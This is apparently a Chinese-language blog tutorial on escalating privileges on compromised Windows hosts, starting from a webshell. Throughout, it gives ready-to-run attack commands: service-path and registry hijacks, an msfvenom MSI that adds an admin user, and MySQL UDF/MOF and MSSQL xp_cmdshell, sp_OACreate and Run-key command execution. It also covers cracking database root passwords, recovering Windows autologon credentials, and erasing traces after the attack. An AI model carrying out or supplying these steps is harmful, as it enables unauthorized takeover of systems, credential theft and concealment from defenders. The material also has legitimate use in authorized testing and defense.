在渗透测试中,提升自己的权限是经常遇到的问题,往往在渗透中最容易获取的权限就是一个webshell,如果网站是架设在Windows系统上的,这时就可能遇到这样的问题,还有一种情况是在做横向渗透的时候,收集到一些可以远程连接桌面的帐号,这是也需要,在实际的渗透中有很多的地方会需要这个操作,这个系列就主要介绍各种提权的方式。
在提权之前首先要做的是对系统的操作系统信息做一些信息收集,关于信息收集的介绍请看之前的文章《Windows环境下的信息收集》,这里简单提一下这几条命令:
systeminfo | findstr OS #获取系统版本信息
hostname #获取主机名称
whomai /priv #显示当前用户的安全特权
quser or query user #获取在线用户
netstat -ano | findstr 3389 #获取rdp连接来源IP
dir c:\programdata\ #分析安装杀软
wmic qfe get Caption,Description,HotFixID,InstalledOn #列出已安装的补丁
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber #获取远程端口
tasklist /svc | find "TermService" + netstat -ano #获取远程端口
溢出提权是在提权过程中最通用的,但是其利用的关键点在于目标系统安全补丁打的不够及时,才会让攻击者有机可乘,这里大概列一下比较新的溢出exp。
有时候由于运营者的错误配置可能给我们提权提供便利,提高我们的提权成功率,下面就对这个方面的提权方法做一个简单的介绍。
“Trusted Service Paths”漏洞是由系统中的“CreateProcess”函数引起的,利用了windows文件路径解析的特性,并涉及了服务路径的文件/文件夹权限,存在缺陷的服务程序利用了属于可执行文件的文件/文件夹权限。如果权限合适,我们可以上传恶意可执行文件。简单讲就是查找系统服务文件中存在非引用路径。如果一个服务调用可执行文件,没有正确处理引用的全路径名,就可以利用这个漏洞。metasploit集成了trusted_service_path(http://www.zeroscience.mk/codes/msfsession.txt)漏洞利用模块。
windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。例如,有如下的文件路径:
C:\Program Files\Some Folder\Service.exe
对于上面文件路径中的每一个空格,windows都会尝试寻找并执行名字与空格前的名字相匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序:
C:\Program.exeC:\Program Files\Some.exeC:\Program Files\Some Folder\Service.exe
所以如果我们能够上传一个适当命名的恶意可执行程序在受影响的目录,服务一旦重启,我们的恶意程序就会以system权限运行(大多数情况下)。
1.检测目标主机是否存在该漏洞
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows" |findstr/i /v """
如果存在以下结果则表示存在:
FABS - Helping agent for MAGIX media database Fabs C:\Program Files (x86)\Common
Files\MAGIX Services\Database\bin\FABS.exe /DisableUI Auto
2.检查对有漏洞目录是否有写入的权限。使用Windows内建工具icacls查看路径中受影响文件夹的权限,(M)代表修改权限,(F)代表完全控制,(CI)代表从属容器将继承访问控制项,(OI)代表从属文件将继承访问控制项。
3.攻击。将我们需要执行的exe根据需要重命名并放置在可写入的有漏洞目录下,然后运行如下命令尝试重启服务,如果失败的话等待服务器重启时执行exe,成功提权后记得清理痕迹。
sc stop service_name
sc start service_name
假如我们的exe会弹回一个SYSTEM权限的meterpreter shell,但是我们新得到的会话很快就中断了。这是因为当一个服务在Windows系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。我们所有需要做的就是在终止载荷进程之前,将它迁移到其它进程,也可以使用自动迁移set AutoRunScript migrate -f
。
Windows系统服务文件在操作系统启动时会加载执行,并且在后台调用可执行文件。比如,JAVA升级程序,每次重启系统时,JAVA升级程序会检测Oracle网站,是否有新版JAVA程序。而类似JAVA程序之类的系统服务程序加载时往往都是运行在系统权限上的。所以如果一个低权限的用户对于此类系统服务调用的可执行文件具有可写的权限,那么就可以将其替换成我们的恶意可执行文件,从而随着系统启动服务而获得系统权限。metasploit集成了漏洞利用模块exploit/windows/local/service_permissions。手工测试步骤如下:
1.检查易受攻击的服务.SERVICE_ALL_ACCESS的意思是我们对“Vulnerable Service”的属性拥有完全控制权。
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
#"Authenticated Users"指Windows系统中所有使用用户名、密码登录并通过身份验
证的账户,不包括来宾账户Guest。也可以使用当前用户用户名来列出所以可以被当前
用户修改的服务。
#-->RW 360rp
# SERVICE_ALL_ACCESS
2.查看可以完全控制的服务的属性。
3.修改服务配置执行命令。BINARY_PATH_NAME参数指向了该服务的可执行程序(360rps.exe)路径。如果我们将这个值修改成任何命令,那意味着这个命令在该服务下一次启动时,将会以SYSTEM权限运行。
当尝试启动服务时,它会返回一个错误。这一点我们之前已经讨论过了,在Windows系统中,当一个服务在Windows系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。上面的“net user”肯定是无法和服务管理器通信的,但是不用担心,我们的命令已经以SYSTEM权限运行了,并且成功添加了一个用户。
4.提权成功后修改服务配置,清理痕迹。
在Windows中,和Windows服务有关的信息存储在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
注册表项中。以服务360rp为例,服务对应的程序路径存储在HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service\360rp\ImagePath
中,如果我们对这一键值有写入权限就可以修改服务对应的程序路径,让系统以SYSTEM权限运行我们的程序,从而达到提权的目标。如下所示,我们可以使用SubInACL(https://www.microsoft.com/en-us/download/details.aspx?id=23510)工具去检查注册表项的权限。建议本地安装后找到 subinacl.exe 拷贝到目标机器上运行。
subinacl.exe /keyreg "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service\360rp" /display
如果我们对注册表有写入权限,就可以修改注册表,使得服务启动时运行我们的恶意程序:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service\360rp" /t REG_EXPAND_SZ /v ImagePath /d "C:\programdata\adduser.exe" /f
在下一次启动该服务时,adduser.exe将会以SYSTEM权限运行。成功提权后记得修改回配置。
可信任服务路径漏洞产生的原因就是不安全的文件夹权限以及“CreateProcess”函数。如果我们对系统服务对应的应用程序所在文件夹有写入权限,便可以直接使用恶意程序替换原来的可执行文件,从而完成提权。
AlwaysInstallElevated是一个策略设置,当在系统中使用Windows Installer安装任何程序时,该参数允许非特权用户以system权限运行MSI文件。如果目标系统上启用了这一设置,我们可以使用msf生成msi文件来以system权限执行任意payload。msf集成了漏洞利用模块:exploit/windows/local/always_install_elevated
。详细利用步骤如下:
1.判断是否启用了AlwaysInstallElevated策略。当两个注册表键值查询结果均为1时,代表该策略已启用。
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
2.使用msfvenom生成恶意程序上传
msfvenom -p windows/adduser USER=rottenadmin [email protected]! -f msi-nouac -o rotten.msi
3.运行恶意程序。
msiexec /quiet /qn /i C:\programdata\rotten.msi
# /quiet 安装过程中禁止向用户发送消息
# /qn 不使用GUI
# /i 安装程序
可以使用如下命令查看计算机上的计划任务。
schtasks /query /fo LIST /v
使用如下命令可以查看指定目录的权限配置情况。如果我们对以高权限运行的任务所在目录具有写入权限,就可以使用恶意程序覆盖掉原来的程序。当计划任务下次执行时,就会以高权限运行恶意程序,进而完成提权。
accesschk.exe -dqv "D:\test" -accepteula
这一篇的内容主要讲的是关于利用数据库服务来进行提权操作,今天的主要内容是利用mysql、mssql进行提权。
在利用mysql提权之前首先要回顾一下mysql的常用命令:
查路径:select @@basedir as basePath from dual
查用户:select * from mysql.user
注册函数:CREATE FUNCTION shell RETURNS STRING SONAME 'udf.dll'
查版本:select version();
导出:select load_file(0x633A5C5C626F6F742E696E69) FROM user into outfile 'D://a.txt'
写文件:select '' into outfile 'F://a.php';
开外连:GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;
读文件:select load_file('c:\boot.ini')
移动文件:select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'
利用mysql提权的三种方式均需要获取mysql数据库最高权限root的帐号密码。所以我们先讨论下如何获取mysql的root密码:
1.翻配置文件。关键字:config conn data sql inc database等
2.下载数据文件并破解密文。
root密码密文存放在:mysql数据库存储目录/mysq/user.myd中,低权限下可以用以下命令读取,或者直接使用暗月的“MYSQL低权限读取ROOT密码工具”,然后使用cmd5解密即可。
3.暴力破解。使用类似于【凤凰扫描器】(https://github.com/0xwindows/fenghuangscanner_v3)的爆破工具。
UDF为User Defined Function用户自定义函数,也就是支持用户自定义函数的功能。这里的自定义函数要以dll形式写成mysql的插件,提供给mysql来使用。也就是说我们可以通过编写dll文件来实现我们需要的功能,UDF编写可以参考(https://www.404sec.com/7817.html)。利用UDF提权需要知道root账户的密码,并且需要目标系统是Windows。可以使用现成的udf提权工具,下面介绍手工测试的方法。
1.查看mysql版本
select version();#-->5.7.14
2.上传DLL文件
dll文件可以使用webshell上传,也可以通过mysql导出。后缀不一定是dll,可以是任意的。64位和32位版本对应不同的dll文件,拿32位的dll去在64位系统注册的话,会提示错误:Can't open shared library 'udf.dll' (errno: 193 )
在MYSQL 4.1以前的版本中,可以将所有的DLL文件里面的任何函数都注册到MYSQL里面以供MYSQL调用。无论这个DLL在什么位置,函数的声明是什么样的。
在MYSQL 4.1及以后的版本中,对UDF函数进行了限制,只有实现了一个特定接口的函数才可以被成功注册到MYSQL中,这样就防止了通过MYSQL非法调用系统的DLL。
在MYSQL5.0以后,对注册的DLL的位置有了限制,创建函数的时候,所对应的DLL不能包含/或者\,简单的理解就是不能是绝对路径。所以我们将DLL上传到包含在PATH这个环境变量内的目录中来跳过这个限制(运行echo %path%
可以查看可写目录,例如:C:\WINDOWS\udf.dll或C:\WINDOWS\system32\udf.dll),或者放到盘符的根目录下通过c:udf.dll这种形式的写法来跳过限制。
Mysql5.1及以上版本,必须将DLL文件上传到mysql安装目录下的lib\plugin文件夹下才能创建自定义的函数。默认情况下’plugin’文件夹并不存在,可能就是为了防止通过into dumpfile将DLL来写到这个文件夹。可以用命令show variables like '%plugin%'
查看是否存在plugin文件夹。可以在webshell中手工创建lib、plugin文件夹,也可以像下面这样利用NTFS ADS流来创建文件夹(5.7.14 权限不足,Errcode: 13 - Permission denied
。5.5.8可以。哪些版本可以?):
如果mysql服务器开启了secure-file-priv选项,就只能将文件导出到指定目录下。可以通过show variables like '%secure%';
查询secure-file-priv的值。使用#注释掉mysql安装目录下my.ini 或者mysql.cnf中的secure_file_priv="c:/wamp64/tmp"
一行,然后重启mysql就可以将文件导出到任意目录了。(待解决问题:apache用户有权限改这个配置文件并且重启mysql么?)
1.创建函数
create function function_name returns string soname 'dll_path' //function_name必须是dll文件中函数
create function cmdshell returns string soname 'udf.dll'//eg
2.调用函数
select function_name(函数参数);
select cmdshell('net user waitalone waitalone.cn /add');#eg
3.删除函数
drop function function_name;
drop function cmdshell;#eg
-- 或者:
delete from mysql.func where name='function_name';
delete from mysql.func where name='cmdshell';#eg
Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:
运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。
使用 IMofCompiler 接口和 $ CompileFile 方法。
拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。
也就是说mof提权其实是windows的问题,而不是mysql的漏洞。第三种方法仅为向后兼容性与早期版本的 WMI 提供,因为此功能可能不会提供在将来的版本后。mysql5.7开始默认使用secure-file-priv选项,不能随意选择导出路径,所以mof提权仅适用于以下条件:
操作系统版本低于Windows Server 2008;
mysql 版本低于5.7
可以使用现成的mof提权工具,下面介绍手工测试的方法。
1.查看mysql版本
select version();#-->5.5.8
2.编写mof文件
3.导出mof文件
select load_file('C:\RECYCLER\1.mof') into dumpfile 'c:/windows/system32/wbem/mof/test.mof';#先上传到可写目录然后导出到指定目录
select char(35,112) into dumpfile 'c:/windows/system32/wbem/mof/test.mof';#直接导出到指定目录。35,112 代表 ASCII 码值表
成功执行之后,会在c:/windows/system32/wbem/mof/good/目录下多出个test.mof文件。如果mof文件不能执行,则会在c:/windows/system32/wbem/mof/bad/目录下多出个test.mof文件。
4.清理痕迹。成功提权后清理很及时需要删除添加的用户,但是每分钟又会重新执行脚本添加用户。需要使用如下命令清理痕迹:
windows 启动项和开关机组策略目录下的脚本会在用户登录、开机、关机是自动运行,利用mysql向这些路径导出脚本即可执行任意命令,mysql5.7开始默认使用secure-file-priv选项,不能随意选择导出路径,所以这种办法需要目标mysql版本低于5.7。具体操作命令如下:
自运行脚本路径整理:
MSSQL作为在Windows系统下最常用的数据库,利用mssql来提权也是经常会遇到的,下面就针对mssql如何提权做一个详细的介绍。
翻配置文件。conn.asp(asp站点) , web.config(aspx站点) , db.inc
暴力破解。
微软的SQL Server在提权过程中往往也会给我们很大帮助,尤其是当找到SA用户的密码时,系统权限就基本到手了。
得到SA权限后,我们用的最多的是“xp_cmdshell”这个扩展存储直接执行命令,具体步骤如下:
1.开启xp_cmdshell
2.执行命令
exec xp_cmdshell 'whoami'
从SQL Server 2005 开始,xp_cmdshell默认是禁用的,而且执行xp_cmdshell可能会触发安全警报。下面介绍一些其它通过SQL Server 执行系统命令的方法。
在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权。
1.打开组件
2.执行命令
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\programdata\1.txt' --执行命令无回显
详细介绍:
http://www.cnblogs.com/xiao0/archive/2012/08/09/2630048.html
Microsoft SQL Server 现在具备与 Microsoft Windows .NET Framework 的公共语言运行时 (CLR) 组件集成的功能。CLR 为托管代码提供服务,例如跨语言集成、代码访问安全性、对象生存期管理以及调试和分析支持。对于 SQL Server 用户和应用程序开发人员来说,CLR 集成意味着您现在可以使用任何 .NET Framework 语言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)编写存储过程、触发器、用户定义类型、用户定义函数(标量函数和表值函数)以及用户定义的聚合函数。要通过此种方式来执行命令,也有几个前提:
1.在SQL Server上能启用CLR并可以创建自定义存储过程
2.SQL Server当前账号具有执行命令/代码所需要的权限
1.新建项目。安装Visual Studio和SQL Server数据库,创建一个新的SQL Server数据库项目。设置项目属性,目标平台修改为需要的目标平台,如SQL Server 2012; 将SQLCLR权限级别修改为UNSAFE;修改.Net 框架版本为自己需要的版本;语言选择C#。右键项目,选择添加->新建项,新建SQL CLR C# 存储过程。
2.编写代码。
3.编译。到编译目录下可以看到一个dacpac后缀的文件,双击文件解压打开mode.sql,执行sql文件中的语句:
4.开启数据库服务器配置选项clr enabled:
5.执行命令:
EXEC [dbo].[SqlStoredProcedure1];
6.删除存储过程:
DROP PROCEDURE [dbo].[SqlStoredProcedure1];DROP ASSEMBLY ExecCode
参考连接:
https://evi1cg.me/archives/Exec_OS_Command_Via_MSSQL.html
此种方式适用于服务器开启了MSSQL Agent Job服务,并且服务器中当前运行的用户账号拥有足够的权限去创建并执行代理作业的情况。
参考连接:
http://bobao.360.cn/learning/detail/3070.html
freebuf上有一篇很详细的文章,链接如下:
http://www.freebuf.com/column/142307.html
类似于mysql写脚本到自启动目录下,mssql也可以通过差异备份写脚本到自启动目录下。差异备份保存的文件不只是我们的脚本文件,还会有一些我们用不到的垃圾数据。在bat脚本中,我们可以使用回车把垃圾数据提交了,系统会把它们当成无用命令处理,不会影响脚本的正常运行,所以我们在这里选用bat脚本。而且MSSQL备份的时候,到一定的字符长度就会出现垃圾的字符,那个字符会影响我们的操作。所以我们得把语句尽量缩短。
除了写脚本到自启动目录下,还可以通过注册表实现开机运行命令:
xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','exec','REG_SZ','cmd /c whoami > c:\programdata\4.txt'
针对mssql的的攻击与利用,有一个强大的工具PowerUpSQL
https://github.com/NetSPI/PowerUpSQL
里面也有很多针对MSSQL的攻击方式。这里介绍两种利用方式:
SP_Addextendedproc
创建DLL
Create-SQLFileXpDll -OutFile C:\programdata\exec.dll -Command "echo Exec test > C:\programdata\test.txt" -ExportName xp_test
导入DLL
//via local disk:sp_addextendedproc 'xp_test', 'C:\programdata\xp_test.dll'//via UNC path:sp_addextendedproc 'xp_test', '\servername\pathtofile\exec.dll'
调用存储过程
exec master..xp_test;
卸载存储过程
sp_dropextendedproc 'xp_test'
xp_regread恢复Windows自动登录凭据
可以将Windows配置为在计算机启动时自动登录。在大多数情况下,当Windows配置为自动登录时,未加密的凭据存储在注册表项中:HKEY_LOCAL_MACHINE SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
。PowerUpSQL中的“Get-SQLRecoverPwAutoLogon”函数可以获取到默认Windows自动登录信息和备用Windows自动登录信息(如果已设置),然后它返回相关的域名,用户名和密码。
$Accessible = Get-SQLInstanceDomain –Verbose | Get-SQLConnectionTestThreaded –Verbose -Threads 15| Where-Object {$_.Status –eq “Accessible”}$Accessible | Get-SQLRecoverPwAutoLogon -Verbose
https://evi1cg.me/archives/Powerup.html
本文主要讲了提权的一些基础信息,提到了溢出提权、错误配置导致的提权等,内容比较多,也有可能不全面,未来逐步更新就好。未来内容将在信安之路的 wiki 平台实时更新,欢迎注册体验。